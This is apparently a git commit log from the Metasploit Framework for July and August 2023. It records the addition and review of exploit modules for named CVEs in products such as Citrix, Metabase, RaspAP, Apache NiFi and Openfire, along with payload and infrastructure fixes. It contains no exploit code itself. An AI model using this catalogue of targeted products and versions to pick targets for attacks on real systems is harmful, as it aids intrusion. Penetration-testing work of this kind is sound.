adfoster-r7 3dc229f5a1 Land #18279, Revert Add Meterpreter sanity tests to CI 2023-08-10 19:22:04 +01:00
adfoster-r7 cdbd591f07 Revert "Add Meterpreter sanity tests to CI" 2023-08-10 19:08:09 +01:00
Connor Shade 59bdd0d430 add docs for cmn-injection-module 2023-08-10 07:13:43 -04:00
Ege Balcı e74a68b3fb Make rubocop happy 2023-08-10 10:10:02 +02:00
Ege Balcı 634713ee56 Fix check method and integrate CmdStager 2023-08-10 00:56:44 +02:00
Ege Balcı da9200819d Update scenarios for new targets 2023-08-10 00:55:52 +02:00
Ege Balcı 85f8333b15 Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-09 21:27:25 +00:00
Ege Balcı 54ccfc1b8c Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-09 21:26:49 +00:00
Ege Balcı a8a7b4eaeb Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-09 21:24:38 +00:00
Ege Balcı fade54dc4d Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-09 21:24:24 +00:00
Ege Balcı 2c8d6b97fe Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-09 21:24:08 +00:00
adfoster-r7 98ac76d54f Add sasl scram 256 auth support to postgres modules 2023-08-09 16:41:01 +01:00
Metasploit 0a26ac2e5b automatic module_metadata_base.json update 2023-08-09 03:59:19 -05:00
cgranleese-r7 214c788ce7 Land #18232, metabase setup token rce (cve-2023-38646) 2023-08-09 09:44:53 +01:00
Metasploit c821d39bdb automatic module_metadata_base.json update 2023-08-09 03:41:32 -05:00
adfoster-r7 c4ed903da9 Land #18274, Update CVE-2020-14871 docs 2023-08-09 09:27:00 +01:00
wvu 3be876b9dc Update pam_username_bof.md 2023-08-09 00:24:53 -05:00
wvu 03c99660db Update pam_username_bof.rb 2023-08-09 00:22:57 -05:00
h00die f125ad8870 review comments 2023-08-08 17:44:35 -04:00
h00die bba8681be4 update doc 2023-08-08 17:44:35 -04:00
h00die 7b024f21bd apache nifi h2 rce 2023-08-08 17:44:35 -04:00
h00die 5cdac38ac0 apache nifi h2 rce 2023-08-08 17:44:35 -04:00
h00die e8ce0454cd review comments 2023-08-08 17:16:57 -04:00
h00die dca125963c metabase review comments 2023-08-08 17:16:57 -04:00
h00die f30c996340 remove comment 2023-08-08 17:16:56 -04:00
h00die 9516592eb6 metabase setup token rce 2023-08-08 17:16:56 -04:00
h00die 7ceeb9f8de review comments 2023-08-08 17:15:22 -04:00
h00die 67ea97d686 set right port 2023-08-08 17:15:22 -04:00
h00die 06a4433e2a review comments 2023-08-08 17:15:22 -04:00
h00die ec5317a789 h2 doc addition 2023-08-08 17:15:22 -04:00
h00die 97daf47269 h2 web interface shell 2023-08-08 17:15:22 -04:00
Ege Balcı 340e4c0117 Make rubocop happy 2023-08-08 20:54:40 +02:00
Ege Balcı 169ce82ea7 Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-08 18:37:23 +00:00
Ege Balcı 7217eda1eb Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-08 18:37:15 +00:00
Ege Balcı 95bb5a1e09 Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-08 18:37:08 +00:00
Ege Balcı d1f9f540c6 Add VMware vRealize Log Insight RCE exploit 2023-08-08 20:32:38 +02:00
Metasploit 940496362c automatic module_metadata_base.json update 2023-08-08 12:47:51 -05:00
Jack Heysel 6e8d0b33df Land #18191, Improve post linux checkcontainer
This PR adds support for detecting whether a session is
running in a podman container and improves detection for
sessions running in Docker, LXC and WLS containers.
2023-08-08 13:26:01 -04:00
Metasploit a5cdbcaf20 automatic module_metadata_base.json update 2023-08-08 09:01:23 -05:00
sfewer-r7 85ab3113c2 bug fix for issue 18237. ColdFusion configured with a Development profile behaves slightly differently than ColdFusion deployed in a Production profile, so we need to test for some different return values during exploitation. 2023-08-08 14:47:14 +01:00
adfoster-r7 814198dc66 Land #18264, Add 12.1 Targets for CVE-2023-3519 2023-08-08 14:37:44 +01:00
Spencer McIntyre baa0f3d5e3 Switch the fingerprint resource for v12 compat
Switching to use citrix-fonts.css allows the technique to work for 12.x
and 13.x.
2023-08-08 08:57:17 -04:00
Spencer McIntyre 72092392e9 Fix check method for v12, add automatic targeting 2023-08-08 08:57:11 -04:00
Ege Balcı 2abd826291 Update side effects and options 2023-08-08 00:44:19 +02:00
Ege Balcı 3b7653c08e Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-07 22:30:51 +00:00
Ege Balcı 79e009a03f Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-07 22:30:25 +00:00
Ege Balcı 6225df80e9 Update modules/exploits/unix/http/raspap_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-07 22:23:15 +00:00
bwatters d0e0f77624 Add license for pup pic 2023-08-07 12:36:20 -05:00
Pearce Barry 765ff28ff9 Improve tab completion for set command.
Also minor improvement for tab completion with the `unset` command.

Fixes #18217.
2023-08-06 18:32:27 -05:00
Spencer McIntyre 760bc3fbfb Add a target for 12.1-64.17 2023-08-04 16:21:21 -04:00
Ege Balcı 41f0c30855 Add RaspAP Unauthenticated Command Injection (CVE-2022-39986) Exploit 2023-08-04 21:22:07 +02:00
Spencer McIntyre c3324ab002 Add a target for 12.1-65.25 2023-08-04 15:14:24 -04:00
Jack Heysel bcfc892195 General code clean up 2023-08-04 14:27:14 -04:00
bwatters 2f9e5cd332 Update info hash 2023-08-04 11:16:38 -05:00
dwelch-r7 9e7960fd9f Land #18224, First iteration of specs for SSH Login scanner 2023-08-04 16:22:37 +01:00
cgranleese-r7 6dc7ba112e Makes some adjustments to the favorites command 2023-08-04 15:33:35 +01:00
cgranleese-r7 45c9ce86f4 Land #18231, fix for issue #18219, allow index selection for favorites 2023-08-04 15:08:37 +01:00
cgranleese-r7 897d5d1753 Land #18260, Update aws instance connect EC2_ID validation 2023-08-04 14:41:18 +01:00
adfoster-r7 a3d129fe9f Land #18244, Update payload size warnings to errors on CI 2023-08-04 14:10:14 +01:00
adfoster-r7 61a4974670 Update aws instance connect EC2_ID validation 2023-08-04 14:02:06 +01:00
cgranleese-r7 dfe030cc99 Update payload size warnings to errors on CI 2023-08-04 13:56:31 +01:00
dwelch-r7 6f7ebb3824 Land #18210, Add Meterpreter sanity tests to CI 2023-08-04 13:24:39 +01:00
adfoster-r7 a543199ee3 Land #18220, Add error handling when loading payloads 2023-08-04 12:07:39 +01:00
adfoster-r7 b1d6983fad Land #18228, Adds Rubocop rule to detect invalid pack/unpack directives 2023-08-04 11:20:18 +01:00
bwatters e8456a6625 Add documentation and fix null filename catch 2023-08-03 18:30:20 -05:00
Metasploit 4ebf4fd52e Bump version of framework to 6.3.29 2023-08-03 17:39:55 -05:00
Jeffrey Martin a8583438c1 fix nokogiri version out of sync in lock file 2023-08-03 17:31:01 -05:00
Metasploit 6c6a553284 automatic module_metadata_base.json update 2023-08-03 14:46:55 -05:00
Jeffrey Martin 5a3a08ca2a Land #18255, Remove python2 from docker setup 2023-08-03 14:24:27 -05:00
adfoster-r7 756d746abe Remove python2 from docker setup 2023-08-03 20:20:13 +01:00
Spencer McIntyre ab2b1b731d Land #18254, remove double refs in Gemfile.lock
remove double reference in Gemfile.lock
2023-08-03 14:47:15 -04:00
Jeffrey Martin 776b4918a7 remove double reference in Gemfile.lock
merge introduced double entries for aws-sdk-ec2instanceconnect
2023-08-03 13:44:07 -05:00
Spencer McIntyre e3d4a8ccd9 Land #18234, Fix for issue #13724
Fix for issue #13724: fix crash for unloaded user32.dll: add library loading
2023-08-03 14:32:33 -04:00
bwatters d3b7bcd676 Working 2023-08-03 13:23:41 -05:00
Metasploit bd36c80a2a automatic module_metadata_base.json update 2023-08-03 12:27:01 -05:00
Christophe De La Fuente 4a7836055e Land #18211, Subrion CMS v4.2.1 RCE 2023-08-03 19:03:44 +02:00
Christophe De La Fuente 00006fffae Land #18240, Citrix RCE - CVE-2023-3519 2023-08-03 18:55:48 +02:00
Spencer McIntyre 67e1c57b7c Fix some buffer encoding issues 2023-08-03 12:47:14 -04:00
cgranleese-r7 61f70e09f6 detect invalid Pack/Unpack directives 2023-08-03 17:39:21 +01:00
Metasploit 7fee5a0761 automatic module_metadata_base.json update 2023-08-03 11:31:10 -05:00
adfoster-r7 9a3d068c17 Add apt-get install options for y and no-install-recommends 2023-08-03 17:12:00 +01:00
adfoster-r7 d8dc189168 Add Meterpreter sanity tests to CI 2023-08-03 17:11:44 +01:00
Spencer McIntyre 39382c4652 Land #17600, Add AWS Instance Connect Sessions
Implement AWS Instance Connect Sessions
2023-08-03 12:06:29 -04:00
bwatters 59e3760509 First attempt at CVE-2023-34634 2023-08-03 10:58:07 -05:00
cgranleese-r7 5756241fb3 Land #18223, Fix broken msfconsole histories when switching between shell sessions 2023-08-03 16:40:01 +01:00
Spencer McIntyre 034fcdde59 Drop the logic to filter repeated error messages 2023-08-03 10:51:58 -04:00
Ismail Dawoodjee 74e886dd68 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 20:58:22 +06:30
D00Movenok 3ea9c0100b fixed windows/x64/messagebox CachedSize 2023-08-03 17:10:11 +03:00
Metasploit 4360821d38 automatic module_metadata_base.json update 2023-08-03 07:15:27 -05:00
Ismail Dawoodjee 31da1f890d Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 18:29:21 +06:30
cgranleese-r7 49c5b1df64 Land #18203, Fix libssh_auth_bypass crash on newer versions of Ruby 2023-08-03 12:51:36 +01:00
cgranleese-r7 b44c08e5f1 Land #18248, Fix bootsnap warning when booting msfrpc service 2023-08-03 12:46:15 +01:00
cgranleese-r7 265cec01ae Land #18249, Give better error messages when failing to load mettle extensions 2023-08-03 12:40:03 +01:00
Ismail Dawoodjee 1c075f659c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 10:16:07 +06:30
Jack Heysel 30b824d8ab external sources 2023-08-02 19:33:25 -04:00
Jack Heysel 29c2361a9c Module clean up, docs, metadata, rubocop 2023-08-02 18:53:20 -04:00
adfoster-r7 a643fa517a Give better error messages when failing to load mettle extensions 2023-08-02 23:03:27 +01:00
Spencer McIntyre 930c90c3ac Update all targets so the stack can be relocated 2023-08-02 14:49:04 -04:00
Metasploit 1943892aef automatic module_metadata_base.json update 2023-08-02 13:02:12 -05:00
Spencer McIntyre b365ab7d10 Add a target for 13.1-37.38 2023-08-02 13:57:53 -04:00
adfoster-r7 9a40e2612b Land #17129, Add OSX Aarch64 Payload support 2023-08-02 18:37:56 +01:00
Spencer McIntyre 5d0b6e1fbc Add a target for 13.0-91.12 2023-08-02 12:48:34 -04:00
adfoster-r7 67770d5684 Fix bootsnap warning when booting msfrpc service 2023-08-02 17:35:11 +01:00
Ege Balcı 329920eeb2 Add Netgear NMS RCE (CVE-2023-38096/8) exploit 2023-08-02 18:03:57 +02:00
ismaildawoodjee 19dcc2d674 Move module and documentation from linux/http to multi/http 2023-08-02 10:10:27 -04:00
Ismail Dawoodjee 888091dfe4 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-02 20:21:31 +06:30
usiegl00 dd7b50d292 Merge pull request #1 from adfoster-r7/update-osx-templates-makefile-and-compile-binaries
Update osx templates makefile and compile binaries
2023-08-01 19:09:19 -07:00
adfoster-r7 89cd524acb Update osx templates makefile and compile binaries 2023-08-02 01:26:18 +01:00
h00die 042136cf57 python flask signer module and docs 2023-08-01 18:27:25 -04:00
RageLtMan f0c853073e Address most of @adfoster-r7's 202307 review 2023-08-01 15:04:58 -04:00
Jeffrey Martin 5c67f3231b add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:58 -04:00
Grant Willcox f95a39254a Bump up dependency versions 2023-08-01 15:04:57 -04:00
Spencer McIntyre 396029a58e Fix connectivity issues
The connection needs to slowly send data to the remote end for
stability. Additionally, the `exit` command should be issued when
closing the connction so it is reset back to the logon prompt.
2023-08-01 15:04:32 -04:00
Spencer McIntyre cd70044e36 Automatically login to the serial connection 2023-08-01 15:04:32 -04:00
Spencer McIntyre 18b6b3ef0b Remove the Windows module
Windows shells require an extra configuration that when present still
doesn't offer either the cmd.exe or powershell session that MSF expects
but rather a SAC shell.
2023-08-01 15:04:32 -04:00
Spencer McIntyre 1a3b579cd9 Cleanups and drop INSTANCE_PORT 2023-08-01 15:04:32 -04:00
RageLtMan 2dd9524b2b AWSSSM: hint at alternative command docs 2023-08-01 15:04:32 -04:00
RageLtMan f8c736589f AWSIC: fix comm_string 2023-08-01 15:04:32 -04:00
RageLtMan dc1ca7aeff Fix-up per @adfoster-r7 2023-08-01 15:04:32 -04:00
RageLtMan dd2ccb3750 AWSOOB: add references, cleanup ssm_enum name 2023-08-01 15:04:32 -04:00
RageLtMan 7290a61853 AWSIC: Address @adfoster-r7's comments 2023-08-01 15:04:32 -04:00
RageLtMan 03f6bf1c84 AWSIC: Only try to get session once per handler
Import @smcintyre-r7's fix for multiple session attempts in SSM
2023-08-01 15:04:32 -04:00
RageLtMan 69ae14ec62 AWSIC: payload uri cleanup 2023-08-01 15:04:32 -04:00
Jeffrey Martin eaa4768547 add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:30 -04:00
RageLtMan 2352ce6740 Implement AWS Instance Connect Sessions
AWS EC2 Nitro instances (and possibly others) support serial proxy
over SSH using the Instance Connect API:
https://docs.amazonaws.cn/en_us/AWSEC2/latest/UserGuide/
connect-to-serial-console.html

This process consists of sending an SSH pubkey to the serial proxy
control plane, connecting to a well-known URL with the instance ID
and port number as username, and the SSH private key as credential.
The resulting session is a "fragile" SSH context which does not
tolerate Channel-closing, requiring some special handling in Msf to
safeguard the initial Net::SSH::CommandStream.

Implement a BindAwsInstanceConnect Handler which loads an SSH key
from the local FS or generates a new one on the fly, passes the
pubkey to the InstanceConnect API, and then establishes SSH comms
with the InstanceConnect SSH proxy.

Implement a AwsInstanceConnectBind to handle resulting connetions,
derived from SshCommandShellBind, with an updated #bootstrap which
avoids meddling with the fragile CommandStream/Channel.

Testing:
  Got serial console to the ttyS0 login prompt of a Nitro EC2 VM.
  Logged in using previously-known credentials.
  Verified console operations.

Notes:
  Handler keeps firing, same as the SSM session concern.
  There is a limit to the number of sessions which an instance can
hold (possibly only one).
2023-08-01 15:04:03 -04:00
Spencer McIntyre 692c625752 Add module docs 2023-08-01 12:28:13 -04:00
Spencer McIntyre eb5be5746c Add a basic check method to detect Citrix 2023-08-01 12:17:30 -04:00
cgranleese-r7 cd8cd0a52b Land #18243, Fix appscan import failure on empty proof 2023-08-01 15:10:06 +01:00
adfoster-r7 5f9d131cdd Fix appscan import failure on empty proof 2023-08-01 14:31:48 +01:00
Metasploit b875b455f7 automatic module_metadata_base.json update 2023-08-01 08:09:04 -05:00
Christophe De La Fuente f07578b4b4 Land #18209, Fix bypassuac_comhijack module crash 2023-08-01 14:52:41 +02:00
Ismail Dawoodjee 11fb61c3b6 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-01 14:24:37 +03:00
usiegl00 c028d33cae Update OSX AARCH64 Stager
This fixes an issue with the stager size in the osx aarch64 payloads. It
also adds the source and Makefile for template_aarch64_darwin.bin
2023-07-31 20:30:30 -07:00
Spencer McIntyre f787bcd04f Define the space for the payload 2023-07-31 18:06:38 -04:00
Metasploit 8b8acadc9c automatic module_metadata_base.json update 2023-07-31 16:53:39 -05:00
bwatters feb54c812c Rather than use default options, deregister and reregister 2023-07-31 16:38:09 -05:00
Spencer McIntyre de6508c3e3 Initial commit of CVE-2023-3519 2023-07-31 17:30:52 -04:00
adfoster-r7 b979217227 Land #18239, Add version numbers to apache nifi rce module 2023-07-31 22:28:52 +01:00
h00die b2869a5550 version numbers for apache nifi rce 2023-07-31 17:16:26 -04:00
h00die 5d9a65eeb0 version numbers for apache nifi rce 2023-07-31 16:14:57 -04:00
h00die 2130328b96 apache superset review 2023-07-31 15:58:40 -04:00
adfoster-r7 89378d54c8 Land #18238, fix bug scanner credential enumeration bug 2023-07-31 16:55:19 +01:00
Dean Welch 9932aaaaaa Add specs for resetting password list when username is specified 2023-07-31 16:22:08 +01:00
Dean Welch 6c367f39c8 Reset password list file descriptor for later use 2023-07-31 15:42:25 +01:00
Metasploit 7df5ae0a62 automatic module_metadata_base.json update 2023-07-31 08:41:50 -05:00
Christophe De La Fuente a7402fb5f1 Land #18205, Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-31 15:15:07 +02:00
Christophe De La Fuente 56661f49ee Add a comment explaining why the Windows target is disabled 2023-07-31 15:13:35 +02:00
ismaildawoodjee 154387f99a Add additional installation instructions and scenarios 2023-07-30 07:28:16 -04:00
D00Movenok a3f52672da Fix crash for unloaded user32.dll: load library.
Co-authored-by:  ksen-lin <37420872+ksen-lin@users.noreply.github.com>
2023-07-30 00:50:04 +03:00
usiegl00 9019b51eaa Update AARCH64 Shellcode Generation
This updates the aarch64 payloads to include comments with the
corresponding instructions for each little-endian integer. It also fixes
the debug output for x64 payloads under rosetta.
2023-07-29 08:26:56 -07:00
h00die-gr3y 19ef0cc4f9 Added documentation and fixed a typo in the module description 2023-07-28 21:30:24 +00:00
Ismail Dawoodjee aeb8cd3971 Use uri variable instead of hardcoding it - 2nd instance
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:30:42 +03:00
Ismail Dawoodjee 207d00b73c Use uri variable instead of hardcoding it
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:29:06 +03:00
h00die 7c76196a5b apache superset review 2023-07-28 16:21:23 -04:00
ismaildawoodjee 06db7dae40 Change parsing method for version number 2023-07-28 16:17:58 -04:00
h00die-gr3y f282e1ab92 first drop of module 2023-07-28 20:14:44 +00:00
Ismail Dawoodjee c4d089b884 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-28 23:13:11 +03:00
Ege Balcı 0996938113 Add note for Windows compatibility 2023-07-28 17:06:38 +02:00
Ege Balcı c509b7b341 Comment out Windows target related lines 2023-07-28 17:06:21 +02:00
Metasploit bcda3e8228 automatic module_metadata_base.json update 2023-07-28 08:22:17 -05:00
ErikWynter ad1add1dc3 fix for issue #18219, allow index selection for favorites 2023-07-28 16:13:51 +03:00
Christophe De La Fuente 0c1d945861 Land #18221, wdmycloud unauthenticated cmd injection - CVE-2016-10108 CVE-2018-17153 2023-07-28 14:55:50 +02:00
Jack Heysel 416124705f Working in metasploit 2023-07-28 03:43:37 -04:00
ErikWynter 40ef9d496a add docs for wd_mycloud_unauthenticated_cmd_injection 2023-07-28 10:16:50 +03:00
Ege Balcı 225a33995a Merge branch 'rudder_server_sqli_rce' of github.com:egebalci/metasploit-framework into rudder_server_sqli_rce 2023-07-28 00:54:29 +02:00
Ege Balcı 6b11439fa1 Remove basic auth and API_USER/PASS options 2023-07-28 00:44:44 +02:00
Ege Balcı 5d00f882ad Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-07-27 21:58:06 +00:00
ErikWynter f79b4331b8 code review fixes for wd_mycloud_unauthenticated_cmd_injection 2023-07-27 23:09:50 +03:00
Ismail Dawoodjee f3e1fccd0c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-27 22:17:46 +03:00
Metasploit 1390d50ca4 Bump version of framework to 6.3.28 2023-07-27 12:09:19 -05:00
Metasploit b65115e97f automatic module_metadata_base.json update 2023-07-27 11:11:44 -05:00
cgranleese-r7 055206a11b Land #18225, Fix invalid references in modules 2023-07-27 16:56:11 +01:00
adfoster-r7 449af8daa7 Fix broken msfconsole histories when switching between shell sessions 2023-07-27 16:12:57 +01:00
adfoster-r7 f3adc3f79f Fix invalid references in modules 2023-07-27 16:02:37 +01:00
Rory McKinley 0453877fee First iteration of specs for SSH Login scanner 2023-07-27 15:29:02 +02:00
Ege Balcı 103f9a3f60 Update install instructions and scenario 2023-07-26 18:08:54 +02:00
Ege Balcı ca9601bb58 Fixed check method and targets 2023-07-26 18:01:26 +02:00
Ege Balcı 5b5f666256 Make rubocop happy 2023-07-26 16:26:18 +02:00
Ege Balcı 006831938d Adjust targets 2023-07-26 16:26:18 +02:00
Ege Balcı f5e91f686c Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:18 +02:00
Ege Balcı d50fceca40 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 1b52c7c8ba Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı bc58254db8 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 00f2fe03be Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı fa3638b10e Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı d6328edc27 Make rubocop happy 2023-07-26 16:26:17 +02:00
Ege Balcı 5018c0cdc5 Add documentation 2023-07-26 16:26:17 +02:00
Ege Balcı 47f48e8adb Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-26 16:26:17 +02:00
ErikWynter 53b8653ac7 add wd_mycloud_unauthenticated_cmd_injection 2023-07-26 17:24:44 +03:00
Dean Welch d9817e825e Add error handling when loading payloads 2023-07-26 12:01:46 +01:00
ismaildawoodjee b7b11373f5 Use full_uri for the payload URI 2023-07-25 22:53:11 -04:00
Ismail Dawoodjee 7ad7c40e40 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-26 05:27:12 +03:00
Spencer McIntyre 01b9d41ed1 Land #18213, Fix evasion windows syscall inject
Fix evasion windows syscall inject module crash
2023-07-25 16:30:59 -04:00
Ismail Dawoodjee 867282ba96 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 23:09:30 +03:00
ismaildawoodjee 671a90ee58 Put checks for website requests and change failure message 2023-07-25 16:08:25 -04:00
Metasploit 29e8c36214 automatic module_metadata_base.json update 2023-07-25 11:02:17 -05:00
Christophe De La Fuente c7f8ce5acd Land #18199, VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887 2023-07-25 17:45:30 +02:00
Ismail Dawoodjee 78c1f75f2a Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 18:01:08 +03:00
ismaildawoodjee e9f53bd195 Use full_uri instead of piecing together a full URI 2023-07-25 11:00:21 -04:00
Metasploit 730d774e7e automatic module_metadata_base.json update 2023-07-25 09:31:21 -05:00
cgranleese-r7 a244c6ff37 Land #18142, WordPress File Manager Advanced Shortcode Unauthenticated RCE [CVE-2023-2068] 2023-07-25 15:15:22 +01:00
cgranleese-r7 52b417b1af Update documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md 2023-07-25 14:06:45 +01:00
h00die-gr3y 43056ad621 removed powershell mixin 2023-07-25 14:06:45 +01:00
h00die-gr3y c1d84e950c Update based on bwatters-r7 comments 2023-07-25 14:06:44 +01:00
h00die-gr3y 45eacec846 Updated module with WordPress check 2023-07-25 14:06:44 +01:00
h00die-gr3y a3daab88e6 Added documentation and updated exploitable plugins list 2023-07-25 14:06:42 +01:00
h00die-gr3y cda6ab5960 init commit module 2023-07-25 14:06:29 +01:00
adfoster-r7 fa97281267 Add documentation on building and testing vulnerable targets 2023-07-25 13:48:38 +01:00
ismaildawoodjee e2a0405975 Merge branch 'subrion_cms_file_upload_rce' of github.com:ismaildawoodjee/metasploit-framework into subrion_cms_file_upload_rce 2023-07-25 03:49:13 -04:00
ismaildawoodjee 3ce382dcc2 Fix issues with msftidy_docs.rb 2023-07-25 03:48:58 -04:00
bwatters 39f24a305e Change default command to certutil for Windows HTTP Fetch and default FETCH_SRVHOST to LHOST 2023-07-24 15:53:19 -05:00
Ismail Dawoodjee a709c4c010 Update modules/exploits/linux/http/subrion_cms_file_upload_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-24 20:36:28 +03:00
adfoster-r7 49f2d1c3a9 Fix evasion windows syscall inject module crash 2023-07-24 16:15:51 +01:00
ismaildawoodjee 568849fad3 Add scenario for Ubuntu 20.04 2023-07-24 11:03:49 -04:00
ismaildawoodjee 4e16307165 Add module and documentation for Subrion CMS v4.2.1 RCE 2023-07-21 17:22:58 -04:00
Jack Heysel 586971c1fd Fix incomplete copy pasta in docs 2023-07-21 14:38:07 -04:00
adfoster-r7 c26d44a177 Fix bypassuac_comhijack module crash 2023-07-21 16:46:43 +01:00
Metasploit 69cebde238 automatic module_metadata_base.json update 2023-07-21 06:15:43 -05:00
adfoster-r7 f287f50be7 Land #18187, Fixes incorrect usage of pack/unpack directives 2023-07-21 11:40:02 +01:00
dwelch-r7 1af22cfd22 Land #18096, Add initial proxies datastore support for kerberos workflows 2023-07-21 11:37:04 +01:00
adfoster-r7 08a2a293a9 Add proxies datastore support to kerberos 2023-07-21 11:19:50 +01:00
Jack Heysel ee26e7f926 Rubocop fixes 2023-07-20 16:40:28 -04:00
Jack Heysel 421b06119f Update docs 2023-07-20 14:55:27 -04:00
Jack Heysel c48346413c Fixed payload and verion detection 2023-07-20 14:44:56 -04:00
Metasploit b4ec01de83 Bump version of framework to 6.3.27 2023-07-20 12:14:17 -05:00
adfoster-r7 2ae6688815 Fix libssh_auth_bypass crash on newer versions 2023-07-20 12:29:21 +01:00
Jack Heysel d03157fcc1 Installation instructions 2023-07-19 14:23:17 -04:00
jvoisin 0df2f57124 Fix a typo 2023-07-19 19:47:17 +02:00
Julien Voisin d5ca174e1e Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-19 17:46:27 +00:00
h00die 530934f78a review comments 2023-07-19 11:42:47 -04:00
cgranleese-r7 8e0a909b18 Fixes incorrect usage of pack/unpack directives 2023-07-19 11:39:00 +01:00
Metasploit b4991a97d0 automatic module_metadata_base.json update 2023-07-18 20:26:47 -05:00
bwatters 01434662fa Land #18182, Add module and doc for cve-2023-26876
Merge branch 'land-18182' into upstream-master
2023-07-18 20:10:47 -05:00
Metasploit a6e4d60457 automatic module_metadata_base.json update 2023-07-18 18:40:14 -05:00
bwatters 297c484a1c Land #18173, Add Openfire Authentication Bypass RCE [CVE-2023-32315]
Merge branch 'land-18173' into upstream-master
2023-07-18 18:13:20 -05:00
Metasploit 1e2a5a5c11 automatic module_metadata_base.json update 2023-07-18 08:41:15 -05:00
cgranleese-r7 a0f04a7018 Land #17681, Add datastore option for Jenkins home directory 2023-07-18 14:17:15 +01:00
Joshua Rogers d9e23a5c67 Update modules/post/multi/gather/jenkins_gather.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-07-18 14:02:27 +02:00
h00die-gr3y 7f35abff86 fixed the invalid character at the store_valid_credential‎ function 2023-07-18 08:38:06 +00:00
rodnt ddb1cc0497 Fix all warns from msftidy rename the docs with the correct name 2023-07-17 23:57:39 +00:00
h00die-gr3y 0ff2ca4f40 updates based on latest comments 2023-07-16 18:43:21 +00:00
jvoisin 2efcbbb772 Add docker detection via the old .dockerinit file 2023-07-16 18:12:11 +02:00
jvoisin 1f2112c5c1 Add podman detection via an environment variable 2023-07-16 18:11:11 +02:00
jvoisin f46641f479 Improve LXC detection
See https://github.com/silverwind/ansible/commit/d649d24be2ed36ff8da7ecbd57b6bb25a9a3b745
2023-07-16 18:07:59 +02:00
jvoisin 2e26e7c98c Add detection for WSL 2023-07-16 18:04:12 +02:00
jvoisin 04438920d5 Add Podman detection
See https://github.com/containers/podman/issues/3586#issuecomment-661918679
2023-07-16 18:01:06 +02:00
Guilhem RIOUX 84ad51b5c7 rubocop 2023-07-16 05:38:51 +02:00
H00die.Gr3y f608424242 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-07-15 12:02:22 +02:00
H00die.Gr3y dfcb52d189 Merge pull request #1 from bwatters-r7/land-18173
Adjust files to be better shared
2023-07-15 11:46:41 +02:00
rodnt d7b0e94729 fix made at the request of bwatters-r7 2023-07-14 21:34:32 +00:00
Jack Heysel 11d3248532 Land #18186, Add syntax highlighting to wiki
This PR adds highlining to multiple code snippets in the wiki.
2023-07-14 14:53:38 -04:00
bwatters b15d595de2 Adjust files to be better shared 2023-07-14 12:47:04 -05:00
adfoster-r7 f0f2314da9 Add syntax highlighting to multiple code snippets 2023-07-14 11:52:47 +01:00
